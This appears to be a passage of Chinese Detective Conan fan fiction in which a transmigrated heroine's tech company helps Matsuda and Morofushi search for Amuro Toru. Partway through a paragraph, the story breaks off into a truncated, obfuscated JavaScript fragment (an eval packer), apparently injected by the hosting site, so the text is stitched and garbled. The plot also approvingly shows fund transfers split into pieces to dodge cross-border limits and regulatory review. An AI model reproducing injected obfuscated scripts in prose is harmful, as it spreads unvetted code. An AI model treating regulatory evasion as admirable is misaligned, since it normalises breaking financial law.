警视厅内,技术人员正在收尾案件相关的物证整理,松田阵平站在窗边,看着楼下恢复往日喧嚣的街道,指尖无意识地摩挲着口袋里的银色项链——那是他送给玥涵的开业礼物,此刻想到她在案件中冷静的模样,嘴角不自觉地扬起一抹温柔的笑意。 “在想什么?笑得这么开心。”伊达航端着两杯热咖啡走过来,将其中一杯递给松田阵平,语气里带着调侃。松田阵平接过咖啡,指尖触到温热的杯壁,语气轻松:“在想昨晚的事,幸好有玥涵的干扰设备,不然这次的危机没那么容易解除。”伊达航靠在窗边,喝了一口咖啡,眼中满是认可:“玥涵小姐确实很出色,冷静、聪明,还能为我们提供这么关键的技术支持,你小子眼光真不错。” 为了庆祝案件圆满解决,警视厅特意在内部的休息区准备了一场小型庆功会。没有繁琐的流程,只有几个核心办案人员围坐在一起,桌上摆着水果、点心和饮料,氛围轻松而惬意。松田阵平特意提前给玥涵打了电话,让她忙完星涵科技的事过来。 下午三点左右,玥涵的身影出现在休息区门口。她穿着一条浅杏色的连衣裙,长发随意地披在肩上,脸上带着淡淡的笑意,刚走进来,就被松田阵平快步迎了上去。“怎么才来?”他自然地接过她手中的手提包,指尖轻轻捏了捏她的手腕,“是不是公司还有事要处理?”“嗯,刚跟陈默确认完设备优化的收尾工作。”玥涵笑着点头,目光扫过休息区的众人,礼貌地打招呼,“伊达警官、诸伏警官,大家好。” “玥涵小姐来了,快坐。”伊达航笑着起身,给她让出一个靠近松田阵平的位置,“这次案件能顺利解决,你功不可没,要不是你的干扰设备及时生效,后果不堪设想。”诸伏景光也点了点头,语气温和:“你的技术支持帮了我们很大的忙,星涵科技的设备很出色。”玥涵有些不好意思地笑了笑:“我只是做了我能做的,主要还是靠大家的默契配合。” 松田阵平拉着玥涵坐下,拿起一块精致的小蛋糕递给她:“尝尝这个,是你喜欢的草莓味。”玥涵接过蛋糕,咬了一小口,甜而不腻的口感在舌尖化开,心中涌起一股暖流。她抬头看向松田阵平,发现他正专注地看着自己,眼中满是宠溺,让她忍不住脸颊微微发烫。 “对了,玥涵,”伊达航放下手 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“研二,你可算来了。”松田阵平笑着调侃,“再晚一点,我们就要把庆功会的点心都吃完了。”萩原研二走到松田阵平身边,拍了拍他的肩膀,目光落在玥涵身上,笑着说:“这位就是玥涵小姐吧?早就听松田提起过你,果然是个漂亮又能干的姑娘。”玥涵笑着道谢:“谢谢你的夸奖,萩原警官。经常听阵平说起你,说你们在警校的时候是最好的搭档。” 萩原研二眼睛一亮,拉着松田阵平开始回忆警校的趣事:“说起警校,我可记得松田当年在拆弹模拟训练中,因为太急着完成任务,差点把模拟炸弹弄响,还是我帮他救的场。”松田阵平的脸颊微微泛红,有些无奈地说:“都多少年的事了,还拿出来说。”众人听着两人的对话,都忍不住笑了起来,休息区里充满了欢快的笑声。 庆功会结束后,松田阵平提议晚上在涵味居聚餐,大家一致同意。傍晚时分,众人陆续来到涵味居总店。林晚早已提前收拾好了一张靠窗的大桌子,看到他们进来,立刻笑着迎上去:“玥涵姐,松田警官,还有各位警官,快请坐!我已经按照你的吩咐,准备好了大家爱吃的菜。” 涵味居内灯火通明,温暖的灯光映照着每个人的脸庞。桌上很快摆满了各种各样的菜肴:热气腾腾的馄饨、金黄酥脆的小笼包、香气扑鼻的葱油拌面,还有几道精致的炒菜,都是涵味居的招牌。萩原研二拿起筷子,夹了一个小笼包放进嘴里,闭上眼睛享受地说:“哇,味道太棒了!难怪松田总说涵味居是他吃过最好吃的餐馆,果然名不虚传。” “喜欢就多吃点。”玥涵笑着给众人添茶,“这些都是我特意让厨房准备的,不知道合不合大家的口味。”伊达航夹了一口葱油拌面,点点头说:“味道很正宗,比我之前吃的任何一家都好吃。玥涵小姐,你不仅会做科技公司,厨艺还这么好,真是太厉害了。” 餐桌上的氛围越来越热烈,众人一边品尝美食,一边畅谈着案件的细节和工作中的趣事。伊达航说起自己当年刚入警队时的糗事,引得大家哈哈大笑;诸伏景光则分享了一些公安工作中的小插曲,让众人对他的工作有了更多了解;萩原研二和松田阵平时不时斗嘴,却处处透着深厚的兄弟情谊。 玥涵坐在松田阵平身边,安静地听着他们的谈话,偶尔补充一两句,脸上始终挂着温柔的笑容。松田阵平察觉到她面前的茶杯空了,立刻拿起茶壶,小心翼翼地给她添满热水,动作自然而熟练。这份不经意的温柔,被伊达航看在眼里,眼中闪过一丝欣慰的笑意——他能看得出来,松田阵平是真的很在乎玥涵。 柯南也跟着毛利兰和毛利小五郎来了。他跑到玥涵身边,仰起头说:“玥涵姐姐,昨天真是谢谢你了!要不是你的干扰设备,我们可能就危险了。”玥涵笑着摸了摸他的头:“不用谢,柯南也很厉害啊,关键时刻还能帮上忙。”毛利小五郎端起酒杯,对着玥涵和松田阵平说:“这次的事,多谢你们了。玥涵小姐,你的涵味居味道不错,以后我会常来的。” 晚餐在欢快的氛围中持续了很久,桌上的菜肴渐渐被消灭殆尽,众人的脸上都带着满足的笑容。林晚端上最后一道甜品——红豆汤,轻声说:“大家尝尝这个,解解腻。”温热的红豆汤甜而不腻,暖融融的汤汁滑过喉咙,驱散了夜晚的凉意。 聚餐结束后,松田阵平牵着玥涵的手,送其他几人走出涵味居。伊达航拍了拍松田阵平的肩膀,语气真诚:“松田,好好对玥涵小姐,她是个好姑娘。以后有什么事,随时跟我们说,我们都是你的后盾。”他转头看向玥涵,笑着说:“玥涵,欢迎加入我们的小团体,以后常和松田一起跟我们聚聚。” “谢谢伊达警官,我会的。”玥涵笑着点头,心中满是温暖。诸伏景光也走上前,语气温和:“玥涵小姐,这次的事多谢你了。以后如果需要帮忙,随时可以找我。”萩原研二则笑着说:“玥涵小姐,下次聚餐还来涵味居,我还没吃够你做的菜呢!” 送走众人后,玥涵和松田阵平回到涵味居。林晚已经开始收拾餐桌,看到他们进来,笑着说:“玥涵姐,松田警官,你们也早点回去休息吧,这里交给我就好。”玥涵点了点头:“辛苦你了,晚晚,也早点休息。” 14. 第 14 章 松田阵平牵着玥涵的手,指尖传来的温热触感让夜色都变得温柔。两人并肩走在回家的路上,身后跟着渐渐散去的伙伴,伊达航和萩原研二还在低声说笑,柯南蹦蹦跳跳地跟在毛利兰身边,月光将一行人的身影拉得忽长忽短,满是安稳惬意的氛围。 “今天大家吃得都很开心。”玥涵靠在松田阵平的肩膀上,声音带着一丝慵懒的暖意,“尤其是萩原警官,说下次还要来吃小笼包。”松田阵平低头看着她被月光映得柔和的侧脸,嘴角扬起一抹浅笑,指尖轻轻摩挲着她的手背:“只要你喜欢,随时可以约他们来。涵味居永远是我们的聚集地。”他顿了顿,补充道,“不过下次聚餐,我来帮忙打下手,你好好休息。” 玥涵心中一暖,抬头在他脸颊上轻轻啄了一下,惹得松田阵平耳尖泛红,脚步都放慢了几分。就在这时,身后传来轻轻的脚步声,诸伏景光的身影追了上来,语气带着一丝不易察觉的凝重:“松田,玥涵小姐,能耽误你们几分钟吗?我有件事想单独和玥涵小姐说。” 松田阵平的眉头微微蹙起,察觉到诸伏景光神色不对,转头看向玥涵,眼中带着询问。玥涵轻轻拍了拍他的手,示意他放心:“没问题,诸伏警官。阵平,你先在前面等我一下,我很快就来。”松田阵平点了点头,虽然有些担心,但还是尊重她的决定,脚步放缓,渐渐拉开了距离,却始终保持着能看到两人的范围。 诸伏景光带着玥涵走到路边的梧桐树下,树影婆娑,将两人的身影笼罩在一片昏暗之中。他环顾四周,确认没有其他人后,才缓缓开口,声音压得很低,带着难以掩饰的焦虑:“玥涵小姐,我知道你不是普通人,不仅创办的星涵科技能为警方提供关键技术支持,在之前的案件中,你还总能提前察觉到一些危险。所以,有些事,我想向你求助。” 玥涵心中一凛,诸伏景光的语气和神色都透着不同寻常的郑重,让她瞬间收起了刚才的轻松。她点了点头,语气认真:“诸伏警官,你说吧,只要我能帮上忙,一定不会推辞。” “我有一个很重要的朋友,名叫安室透。”诸伏景光的指尖微微蜷缩,眼神飘向远方,带着深深的担忧,“他和我一样,都是公安的卧底。现在,他潜伏在一个极其危险的组织里,执行一项秘密任务。我们之前一直保持着隐秘的联系,但就在三天前,他的消息突然中断了。我尝试了所有我们约定好的联络方式,都没有得到任何回应。” 安室透!玥涵的心脏猛地一沉,这个名字像一道惊雷在她脑海中炸开。她当然知道安室透,知道他的真实身份是降谷零,更知道他潜伏的“危险组织”就是那个让无数人闻风丧胆的黑衣组织——那是她此行任务的核心目标之一,也是笼罩在这个世界上空最浓重的阴影。 “那个组织……是不是很可怕?”玥涵没有直接点破,而是顺着诸伏景光的话问下去,语气中带着恰到好处的凝重。她能感受到诸伏景光话语中的颤抖,那是对挚友深入险境、生死未卜的极致担忧。 “是,非常可怕。”诸伏景光的声音低沉而压抑,“那个组织行事狠辣,一旦身份暴露,后果不堪设想。我很担心他……担心他已经遭遇了不测。但我身为卧底,不能贸然行动,否则不仅会暴露自己,还可能给其他潜伏的同伴带来危险。”他转头看向玥涵,眼中满是恳切,“玥涵小姐,你的星涵科技有强大的技术能力,或许能通过一些特殊的渠道,帮我查到他的下落,确认他是否安全。” 看着诸伏景光眼中的焦虑与无助,玥涵心中涌起一股强烈的共情。她知道卧底的艰难与危险,更明白这种与挚友失联、只能在暗处担忧的煎熬。她深吸一口气,强迫自己冷静下来,轻声安抚道:“诸伏警官,你先别着急。我会尽力帮你。” 话音刚落,玥涵在脑海中快速呼唤系统:“系统,立刻查询安室透(降谷零)的当前状态。”系统的提示音很快响起,冰冷的机械音中带着一丝警示:“检测到任务对象安室透(降谷零),当前状态:安全。身份:公安卧底,黑衣组织内部代号波本。消息中断原因:执行紧急任务,暂时无法建立常规联络。预警:后续将面临身份暴露的重大危险,危险等级:S+。” 得知安室透暂时安全,玥涵悬着的心稍稍放下。她抬眼看向诸伏景光,语气尽量平缓,避免让他过度激动:“诸伏警官,你先放心。我刚刚通过星涵科技的特殊监测渠道查到了一些信息,你的朋友安室透目前是安全的。” “真的吗?!”诸伏景光猛地抬起头,眼中瞬间亮起光芒,之前的压抑和焦虑消散了大半,但很快又皱起眉头,“那他为什么不联系我?” “应该是遇到了紧急任务。”玥涵按照系统提示的信息,谨慎地组织着语言,“那个组织内部等级森严,任务保密性极高,一旦执行紧急任务,就必须切断所有常规联络,避免身份暴露。他不是故意不联系你,而是身不由己。”她顿了顿,补充道,“我还查到,他目前正在执行一项关键任务,任务期间无法回复任何无关信息,等任务结束后,应该就会主动联系你了。” 虽然玥涵没有明说,但诸伏景光瞬间明白了其中的利害。他松了一口气,紧绷的肩膀终于放松下来,眼中的恳切化作了深深的感激:“谢谢你,玥涵小姐。谢谢你告诉我这些,让我心里的石头落了地。”这段时间,他一直活在无尽的担忧中,甚至无数次在深夜惊醒,害怕听到挚友的噩耗。现在得知安室透安全,他整个人都轻松了不少。 “不用谢。”玥涵摇了摇头,语气真诚,“我们是伙伴,互相帮助是应该的。而且,你的朋友在暗处为了守护这个世界付出了这么多,我们能做的,就是在背后为他提供力所能及的支持。”她顿了顿,眼神变得坚定,“我会让星涵科技的技术团队持续监测相关信息,一旦发现任何关于他的异常动态,会第一时间告诉你。另外,我也会尝试通过一些特殊的技术手段,帮你建立一条更隐秘的应急联络渠道,万一他需要帮助,也能及时联系到我们。” “真的太感谢你了!”诸伏景光的声音带着一丝哽咽,他用力点了点头,“有你帮忙,我安心多了。玥涵小姐,你不仅是松田的女朋友,更是我们值得信赖的伙伴。” “能得到你的信任,我很荣幸。”玥涵笑了笑,语气温和,“不过这件事非常隐秘,我们必须严格保密,不能让任何人知道,包括其他伙伴,以免给安室透带来不必要的危险。”她知道,黑衣组织的触角无处不在,任何一点疏漏都可能导致卧底身份暴露,引发无法挽回的后果。 “我明白。”诸伏景光郑重地点头,“我会守口如瓶。后续的事,就拜托你了。” 送走诸伏景光后,玥涵转身走向松田阵平。松田阵平立刻迎了上来,伸手握住她的手,感受到她指尖的微凉,眉头微微皱起:“怎么了?聊了这么久,发生什么事了?”他能看出玥涵神色中的凝重,心中满是担忧。 玥涵没有立刻回答,而是牵着他的手,继续往前走。直到走到公寓楼下,两人走进电梯,她才缓缓开口,语气带着一丝凝重:“诸伏警官有个朋友,是公安的卧底,潜伏在一个很危险的组织里,最近失联了,他很担心,想让我帮忙查一下。”她没有说出黑衣组织和安室透的名字,毕竟这件事太过危险,她不想让松田阵平过度担心。 松田阵平的脸色瞬间变得严肃起来。他身为警察,自然知道卧底工作的危险性,更明白失联意味着什么。他紧紧握住玥涵的手,语气坚定:“需要帮忙吗?如果有什么需要我做的,随时告诉我。” “玥涵姐,这是本月的盈利汇总报告。”陈默敲了敲办公室的门,走进来将一份纸质报告放在桌上,语气中带着难掩的兴奋,“按照这个增速,年底我们就能完成既定的盈利目标,甚至还能超额完成。星涵科技的品牌影响力也越来越大,已经有其他地区的警方主动联系我们,想洽谈合作事宜。” 玥涵抬起头,脸上露出欣慰的笑容:“辛苦你了,陈默。后续的合作洽谈你多费心,记得优先保证设备的质量和技术支持。”她拿起报告仔细翻阅着,心中却没有太多盈利带来的喜悦,反而被一份深埋心底的初心牵动着。穿越到这个世界这么久,她从未忘记自己来到这里的使命——除了守护松田阵平,还有一项重要的任务,就是通过秘密渠道,将积累的资金援助给远在东方的华夏大地。 陈默离开后,玥涵靠在办公椅上,目光飘向窗外。米花町的街道上车水马龙,行人匆匆,这个世界的安稳与繁华,让她更加怀念自己的故土。她轻轻抚摸着脖子上的银质项链,吊坠上的“涵”字被磨得光滑,这是松田阵平送她的开业礼物,也是她在这个世界最温暖的羁绊。但她知道,自己不能只沉溺于眼前的幸福,那份跨越时空的责任,她必须扛起来。 傍晚时分,松田阵平准时出现在星涵科技的楼下。玥涵走出写字楼,看到他靠在黑色轿车旁等她,身上穿着一件黑色的休闲夹克,夕阳的余晖洒在他身上,勾勒出硬朗的轮廓。“今天怎么看起来心事重重的?”松田阵平迎上来,自然地接过她手中的公文包,指尖触到她微凉的手背,“是公司遇到什么问题了?” “没有,公司一切都好。”玥涵摇摇头,跟着他坐进车里。车内的暖气开得正好,舒缓的轻音乐在车厢内流淌,却驱散不了她心中的思绪。松田阵平发动车子,没有再追问,只是安静地开车,偶尔侧头看她一眼,眼中满是温柔的关切。 回到公寓后,玥涵走进厨房,系上围裙准备晚餐。松田阵平跟在她身后,从身后轻轻抱住她,下巴抵在她的发顶:“到底怎么了?从下午就不对劲。”他的声音低沉而温柔,带着让人安心的力量。玥涵手中的动作顿了顿,转过身,看着他认真的眼神,深吸一口气,终于说出了藏在心底的秘密:“阵平,我想把一部分盈利,通过秘密渠道援助给我的故土。” 松田阵平的眼中闪过一丝惊讶,却没有立刻追问,只是静静地看着她,等待她继续说下去。玥涵的眼神飘向远方,语气中带着浓浓的眷恋:“我的故土在遥远的东方,那里有我牵挂的人和事。我来到这个世界,除了想守护你,还有一个重要的初心,就是尽我所能,为故土做一些力所能及的事。现在公司盈利了,我终于有能力去实现这个初心了。” 她没有明说自己是穿越者,只是用“故土”这个词,模糊地描述着自己的来历。松田阵平虽然心中有诸多疑问,但看着她眼中的真挚与眷恋,他没有追问细节,只是轻轻握住她的手:“我支持你。”简单的四个字,却带着不容置疑的坚定,让玥涵瞬间红了眼眶。 “你……不问问我具体的情况吗?”玥涵的声音带着一丝哽咽。松田阵平抬手擦掉她眼角的泪水,语气温柔:“你想说的话,自然会告诉我。我不需要知道太多细节,我只知道,这是你珍视的初心,是你想做的事。既然是你的心愿,我就会支持你。”他顿了顿,补充道,“资金转移的过程中肯定会有很多风险,比如跨境资金监管、渠道安全性等问题,我可以帮你联系可靠的渠道,规避这些风险。” 听到他的话,玥涵心中涌起一股暖流,所有的担忧和不安都烟消云散。她紧紧抱住松田阵平,将脸埋在他的怀里,感受着他温暖的怀抱和沉稳的心跳:“谢谢你,阵平。有你支持我,真好。”松田阵平轻轻拍着她的背,语气坚定:“无论你想做什么,我都会陪在你身边,做你最坚实的后盾。” 接下来的几天,松田阵平利用自己的人脉,开始秘密联系可靠的跨境资金转移渠道。他特意避开了警视厅的常规渠道,选择了一些信誉良好、保密性极强的私人渠道,确保资金转移的安全性。玥涵则在一旁协助他,整理相关的资金资料,同时让陈默对星涵科技和涵味居的财务账目进行优化,确保资金的流向不会引起外界的怀疑。 筹备过程中,两人遇到了不少难题。其中最大的问题,就是跨境资金转移的额度限制和监管审查。为了避开这些限制,松田阵平不得不将资金分成多笔,通过不同的渠道分批次转移。玥涵则利用星涵科技的技术优势,对资金转移的路径进行加密处理,防止被第三方监测到。 一天晚上,两人坐在公寓的沙发上,对着电脑屏幕上的资金转移方案反复推敲。松田阵平指着屏幕上的一个节点,语气凝重:“这个渠道虽然可靠,但最近监管比较严格,可能会有延迟。我们需要准备一个备用渠道,以防万一。”玥涵点了点头,打开另一个文件夹:“我已经让陈默整理了几个备用渠道的资料,你看看这个怎么样?” 两人凑在一起,仔细研究着备用渠道的信息,指尖偶尔碰到一起,都忍不住相视一笑。深夜的公寓里,只有电脑屏幕的光芒和两人低声的讨论声,虽然忙碌,却充满了默契与温馨。松田阵平看着玥涵专注的侧脸,心中满是骄傲——他的女孩,不仅有柔软的初心,还有强大的能力和坚定的毅力。 经过一周的紧张筹备,所有的资金转移方案终于确定。转移当天,玥涵和松田阵平坐在电脑前,紧紧盯着屏幕上的资金流向。每一笔资金的转出、到账,都让两人的心提到了嗓子眼。当最后一笔资金显示“转移成功”的那一刻,玥涵忍不住激动地抱住松田阵平,眼中满是泪水:“成功了!阵平,我们成功了!” 松田阵平紧紧回抱住她,语气中也带着一丝释然:“我就知道你一定可以。”他低头在她的额头印下一个滚烫的吻,眼中满是温柔与宠溺。电脑屏幕上,资金成功到账的提示清晰可见,那串数字不仅代表着一笔笔援助,更承载着玥涵跨越时空的初心与眷恋。 玥涵俯身盯着光学显微镜,指尖轻轻转动调焦旋钮,镜片下,智能侦查仪的微型芯片线路清晰如蛛网。陈默坐在旁边的工作台前,指尖在键盘上翻飞,屏幕上滚动着一行行加密代码,是星涵科技最新升级的安防系统核心程序。 “玥涵姐,安防系统的最后一道加密墙测试完成,抗干扰能力提升了30%,就算是专业的黑客,也至少需要六个小时才能破解。”陈默推了推鼻梁上的眼镜,语气里带着几分自豪。玥涵直起身,揉了揉发酸的肩膀,走过去看向屏幕:“不错,后续还要加上动态密码更新功能,每小时自动切换一次密钥,确保万无一失。” 实验室里只有键盘敲击的轻响和仪器运行的细微嗡鸣,阳光透过百叶窗,在地面投下交错的光影,一切都显得平静而有序。自从上次资金援助的事顺利完成后,星涵科技的研发进度稳步推进,与警视厅的合作也愈发顺畅,这样安稳的研发时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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电话那头沉默了几秒,随即传来诸伏景光急促的声音:“把代码发给我,我现在就过去。”玥涵挂断电话,立刻将数字代码通过加密短信发送给诸伏景光,同时对陈默说:“继续追踪信号源的移动轨迹,另外,调取该区域近二十四小时的监控录像,重点排查可疑人员和车辆。” 不到十分钟,诸伏景光就赶到了星涵科技。他穿着一身浅灰色的休闲西装,平日里温和的脸上此刻满是凝重,额头上还带着细密的汗珠,显然是一路急赶过来的。“代码在哪里?”他刚走进实验室,就急切地问道。玥涵将他带到主控电脑前,指着屏幕上的数字代码:“就是这串,我们还在追踪信号源,但刚才信号突然中断了。” 诸伏景光的目光落在数字代码上,指尖微微颤抖,眼神中闪过一丝震惊和焦虑。他从口袋里拿出一个随身携带的小本子,翻开其中一页,上面写着几串类似的数字。他对照着屏幕上的代码,逐字逐句地核对,嘴唇微微动着,像是在默念着什么。 “是零的信号。”诸伏景光的声音带着一丝不易察觉的颤抖,抬起头看向玥涵,眼中满是凝重,“这是我和他约定的紧急联络暗号,每一串数字都对应着我们提前设定好的密码本,组合起来就是安全屋的坐标和信息传递方式。他应该是遇到了麻烦,无法直接联系我们,只能用这种隐秘的方式发送信号。” 就在这时,玥涵的手机又响了,是松田阵平打来的。“玥涵,景光说有紧急情况,你现在在公司吗?我和伊达马上过去。”松田阵平的声音透过听筒传来,带着一丝急促,却依旧沉稳。玥涵心中一暖,轻声说:“我在公司,你们路上小心。” 二十分钟后,松田阵平和伊达航赶到了星涵科技。松田阵平一走进实验室,目光就立刻锁定玥涵,看到她安然无恙,紧绷的神经才稍稍放松。他快步走到她身边,伸手轻轻握住她的手,感受到她指尖的微凉,眉头微微皱起:“怎么回事?出什么事了?” 玥涵将他带到主控电脑前,详细说明了异常信号的捕捉、解密过程,以及诸伏景光对代码的解读。伊达航靠在工作台边,双臂抱在胸前,脸色凝重:“这么说来,安室透现在很可能处于危险之中,发送这串代码是在向我们求救?” “大概率是这样。”诸伏景光收起小本子,语气沉重,“零潜伏的组织非常危险,一旦身份暴露,后果不堪设想。他选择用紧急暗号联系我们,说明他现在的处境很艰难,可能被组织监视着,无法进行正常的联络。” 四人走进星涵科技的保密会议室,玥涵关上厚重的隔音门,会议室里的灯光自动亮起,柔和而不刺眼。她打开投影设备,将信号源定位地图、解密过程和安全屋的大致区域投射在屏幕上:“我们通过安防系统追踪到,信号源来自米花町西侧的废弃工厂区,那里地形复杂,废弃厂房众多,很适合作为秘密联络点。但信号在十分钟前突然中断,我们无法确定安室透是否还在该区域。” 松田阵平盯着屏幕上的地图,指尖轻轻敲击着桌面,陷入了沉思。伊达航则问道:“安全屋的具体位置确定了吗?我们需要立刻派人过去查看。”诸伏景光点了点头:“根据代码解读,安全屋就在废弃工厂区的三号厂房,我和零之前在那里预留了一些应急物资和通讯设备。” “我和景光去安全屋看看。”松田阵平抬起头,目光坚定,“伊达,你留在警视厅协调警力,一旦我们发现异常,需要你立刻派人支援。”他转头看向玥涵,眼神瞬间变得温柔了几分,语气也缓和了下来:“你留在公司,用科技设备远程支援我们,实时监控安全屋周边的信号和人员流动,有情况第一时间通知我们。记住,不要轻易离开公司,注意安全。” 玥涵点了点头,她知道现在自己能做的,就是利用星涵科技的技术优势,为他们提供最有力的支持。她转身走出会议室,很快拿来一个小巧的微型定位器,递给松田阵平:“这个定位器采用了最新的加密技术,能实时传输你的位置信息,续航时间长达四十八小时。遇到危险记得按侧面的紧急按钮,不仅能向我发送求救信号,还能释放出一种微弱的干扰信号,暂时屏蔽周围的电子设备。” 松田阵平接过定位器,紧紧握在手中,指尖感受到冰冷的金属质感,心中却涌起一股暖流。他俯身在玥涵的额头印下一个轻柔的吻,动作温柔而虔诚:“等我回来。”玥涵抬起头,看着他棱角分明的侧脸,眼中满是担忧,却还是强装镇定地点了点头:“我等你,一定要小心。” 松田阵平和诸伏景光快步走出星涵科技,黑色的轿车很快驶离了停车场。玥涵站在实验室的窗边,看着车子消失在街道的尽头,心中满是不安。她深吸一口气,转身回到主控电脑前,指尖在键盘上快速敲击,启动了星涵科技覆盖米花町的监控网络,将焦点锁定在废弃工厂区周边,屏幕上的画面实时跳动着,每一个角落都不放过。 陈默走到她身边,轻声说:“玥涵姐,放心吧,松田警官和诸伏警官都是经验丰富的警察,一定会没事的。我们已经启动了最高级别的监控模式,只要有任何异常,我们都能第一时间发现。”玥涵点了点头,目光依旧紧紧盯着屏幕:“我知道,我们能做的,就是做好万全的准备,确保他们的安全。” 屏幕上的监控画面不断切换,废弃工厂区的景象荒凉而破败,风吹过废弃的厂房,发出呜呜的声响。 15. 第 15 章 黑色轿车在米花町西侧的废弃工厂区疾驰,轮胎碾过布满碎石的路面,发出刺耳的颠簸声。松田阵平紧握着方向盘,目光锐利地扫过窗外荒凉的景象——低矮的废弃厂房鳞次栉比,锈蚀的铁皮在秋风中发出“哐当”的呜咽,远处的烟囱像沉默的巨人,在阴沉的天色下勾勒出狰狞的轮廓。诸伏景光坐在副驾驶座上,指尖无意识地摩挲着口袋里的解密手册,眉头紧锁,眼神中满是焦灼。 “还有三分钟抵达三号厂房。”松田阵平的声音打破了车厢内的沉寂,语气沉稳却难掩一丝凝重。他瞥了一眼仪表盘上的定位器信号,绿色的光点稳定闪烁着,那是玥涵通过星涵科技的卫星系统实时同步的安全屋坐标。“零留下的信号中断得太突然,但愿他已经安全撤离。”诸伏景光的声音带着一丝不易察觉的颤抖,他和安室透自幼相识,并肩潜伏的岁月让两人早已成为彼此最信任的依靠,此刻每一分每一秒的等待,都像在刀尖上行走。 轿车最终停在一栋破败的三层厂房前,这里就是代码指向的安全屋。松田阵平熄灭引擎,两人迅速下车,动作麻利地拔出腰间的配枪,警惕地观察着四周。秋风卷起地面的枯叶,在厂房门口打着旋,除了风声,听不到任何多余的声响,寂静得令人窒息。“我去正门,你绕到后门戒备。”松田阵平压低声音,做出一个手势。诸伏景光点头,猫着腰,沿着厂房的墙壁快速绕向后方。 松田阵平贴着墙壁,缓缓靠近正门。腐朽的木门虚掩着,缝隙中透出微弱的光线。他深吸一口气,猛地推开木门,枪口率先探入,警惕地扫视着屋内的情况。厂房内部空旷而杂乱,散落着废弃的机械零件和破旧的木箱,灰尘在光束中肆意飞舞,空气中弥漫着铁锈和霉味。“安全。”松田阵平低声喊道,诸伏景光从后门走了进来,两人默契地分工,一人负责搜查一楼,一人前往二楼。 松田阵平的脚步声在空旷的厂房内回响,他仔细检查着每一个角落,指尖划过布满灰尘的木箱,没有发现任何翻动的痕迹。就在这时,二楼传来诸伏景光的声音:“松田,过来一下。”松田阵平立刻快步上楼,只见诸伏景光站在一间相对整洁的房间里,房间中央摆着一张破旧的木桌,桌角放着一枚黑色的U盘,U盘旁边压着一张小小的便签,上面画着一个简单的三角形符号——那是他和安室透约定的“信息已留存,速撤离”的暗号。 “是零留下的。”诸伏景光的眼中闪过一丝欣慰,伸手就要去拿U盘。“等等。”松田阵平一把拉住他的手腕,眼神警惕地盯着U盘周围,“小心有陷阱。”他从口袋里拿出一支多功能钢笔,小心翼翼地拨开U盘旁边的便签,确认没有触发式机关后,才示意诸伏景光将U盘拿起。就在U盘离开桌面的瞬间,星涵科技研发实验室的主控电脑屏幕上,突然弹出刺眼的红色警报框,尖锐的蜂鸣声瞬间响彻实验室。 玥涵的心脏猛地一缩,指尖瞬间冰凉。她死死盯着屏幕上的警报信息,声音带着一丝急促:“陈默,立刻锁定警报源!”“是!”陈默的手指在键盘上飞速敲击,屏幕上的画面快速切换,很快就显示出安全屋周边的实时监控画面。三个穿着黑色风衣、戴着黑色礼帽的身影出现在监控范围内,正沿着工厂区的小路快速靠近,步伐沉稳,动作干练,一看就经过专业的训练。 “不好!是黑衣组织的人!”玥涵的声音带着一丝颤抖,她立刻拿起加密对讲机,按下通话键,声音因为紧张而有些急促,却依旧清晰:“阵平,紧急情况!安全屋300米范围内出现三名黑衣组织成员,正在快速靠近,预计一分钟内抵达!立刻撤离!” 对讲机里传来一阵电流声,紧接着是松田阵平沉稳的回应:“收到!我们马上撤离!”松田阵平一把抓住诸伏景光的手臂,语气急促:“走!从后门撤!”两人立刻转身,快步冲向二楼的消防通道。他们刚下楼,就听到正门被“砰”的一声踹开的巨响,伴随着金属碰撞的刺耳声响。 为首的黑衣女人停下脚步,她留着一头利落的短发,眼神阴鸷如冰,正是负责排查组织内部卧底的宫本惠。她扫视着空荡的房间,目光最终落在桌角残留的淡淡指纹上,嘴角勾起一抹冰冷的冷笑:“看来我们来晚了一步,但痕迹还在。”她转头看向身后的两名手下,语气冰冷:“搜!仔细搜查每一个角落,不要放过任何线索。另外,通知外围的人,封锁所有出口,绝不能让他们跑了!” 松田阵平和诸伏景光沿着消防通道快速跑到一楼,从后门冲了出去。后门连接着一条狭窄的小巷,两侧是高高的围墙,只容一人通行。“玥涵,有没有最优撤离路线?”松田阵平一边快速奔跑,一边对着对讲机问道。“已经为你们规划好了!”玥涵的声音从对讲机里传来,伴随着键盘敲击的轻响,“沿着当前小巷一直往前跑,走到尽头左转,那里有一条隐蔽的小路,可以通往工厂区外的主干道,伊达已经带着人手在主干道接应你们了!” “收到!”松田阵平按照玥涵提供的路线,带着诸伏景光快速奔跑。身后传来黑衣组织成员的呼喊声和脚步声,越来越近。诸伏景光紧紧攥着手中的U盘,心中满是庆幸——幸好玥涵的预警及时,否则他们现在恐怕已经陷入了重围。 玥涵死死盯着屏幕上的实时追踪画面,松田阵平和诸伏景光的身影在小巷中快速穿梭,身后的黑衣组织成员紧追不舍。她立刻操控工厂区周边的交通监控,实时调整路线,避开可能出现的埋伏:“注意!前方50米处有一个废弃的仓库,里面可能有埋伏,绕着仓库边缘跑!”松田阵平按照玥涵的提示,带着诸伏景光灵活地绕开仓库,成功避开了两名黑衣组织外围成员的拦截。 一路上,玥涵通过实时监控和智能分析,不断为两人提供精准的路线指引,避开了一个又一个陷阱和拦截。松田阵平心中满是感激,他知道,没有玥涵的远程支援,他们想要顺利撤离绝没有这么容易。他紧紧握着手中的对讲机,仿佛这样就能感受到玥涵的陪伴和支持。 十几分钟后,松田阵平和诸伏景光终于冲出了工厂区,看到了主干道上等候的伊达航和警员们。伊达航看到两人安全出来,立刻挥手示意:“这边!”松田阵平和诸伏景光快步跑过去,钻进了伊达航的警车。伊达航立刻发动车子,疾驰而去,很快就甩掉了身后的追兵。 车内,松田阵平终于松了一口气,靠在椅背上,额头上布满了细密的汗珠。诸伏景光也拿出手帕,擦了擦脸上的汗水,紧紧攥着手中的U盘,眼神坚定。“辛苦你们了。”伊达航的语气凝重,“玥涵那边已经把情况告诉我了,这次多亏了她的及时预警和路线指引。” 